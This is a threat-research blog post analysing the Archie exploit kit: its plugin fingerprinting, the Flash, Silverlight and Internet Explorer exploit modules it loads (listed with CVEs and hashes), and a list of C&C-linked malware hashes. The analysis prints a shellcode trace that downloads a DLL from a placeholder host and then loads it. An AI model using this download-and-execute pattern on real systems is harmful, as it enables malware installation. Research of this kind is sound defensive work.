We have previously described how Exploit Kits are some of the favorite techniques used by cybercriminals to install malicious software on victims' systems.

The number of Exploit Kits available has experienced exponential growth in the last few years. Since Blackhole’s author was arrested in 2013, the number of Exploit Kits has increased - including Neutrino, Magnitude, Nuclear, Rig and Angler. In this blog post we discuss Archie, an Exploit Kit that was first discovered by William Metcalf.

Archie is a really basic Exploit Kit that uses different exploit modules copied from the Metasploit Framework. When the victim lands on the main page, Archie uses the PluginDetect Javascript library to extract information about Flash, Silverlight and Acrobat Reader versions and the information is sent to the server.

It also uses the following trick to check whether or not the system is running a 64-bit version of Internet Explorer. We documented this trick in previous blog posts.

Depending on the Silverlight, Internet Explorer and Flash versions, it will try to load a different exploit module including:

Filename CVE Affected Software MD5 flashlow.swf CVE-2014-0497 Flash 4f3f7b896ab69ec2c082709220000b38 flashhigh.swf CVE-2014-0515 Flash 18e0629ba830f0894268aa1dca92ea78 silverapp1.xap CVE-2013-0074 SilverLight f1759371fe6c7f46ca3c82edd456eca2 iebasic.html CVE-2013-2551 Internet Explorer e9fbd007f6fa2f188c090f535da7ca4a

Archie contains shellcode in different formats that is sent to the different exploit modules generated by Metasploit when it loads them.

If we disassemble the shellcode we can see it is a basic download and execute payload.

4010bb LoadLibraryA(urlmon)

401089 VirtualAlloc(base=0 , sz=400) = 60000

4010ce GetTempPath(len=104, buf=60000) = 14

4010a7 URLDownloadToFile(http://IPADDRESS:PORT/dd, C:usersuserTempe.dll)

401108 LoadLibraryA(C:usersuserTempe.dll)

401114 Sleep(0x3a98)

The shellcode downloads a DLL from the webserver, writes it in Users[Current_user]Tempe.dll and then loads it.

The IP address where the Archie Exploit Kit is hosted, and the piece of malware delivered, is also being used for click fraud operations. It is related to this research published by Kimberly on the click fraud bot http://stopmalvertising.com/malware-reports/anatomy-of-a-net-click-fraud-bot.html [no longer available].

Following is the list of hashes that we have found connecting to the same C&C:

17b077840ab874a8370c98c840b6c671

7bd2207dcef1878109e88a4527162d09

89c136eae9163d63918e0ef59bd6ac82

d1b11795c3e3736de834abc39f7bd76a

1d648b48d1e2b0f2855e2659f32c94ad

48feab46efc26519820e5b8a9152e529

e54d5fef5e3c050f529e814dca4d8014

83f5aef0de9da8cb813c5c8ffbaf1ead

b47739296783ac7fced9ccb49c833ae8

09102b0fe2be8b85136d454b14ec7398

dbcb2d297e5d79c5a161801b2be775ba

30b729137b5ee8805e3e9cc1dbb75609

a615334472c30ee680f798e3849def66

8268f911c87a33f29c00af1dd2c1c2a6

389c5931703a031faebf5f5406f86752

2da11eb62f514abc2ea68271655cb791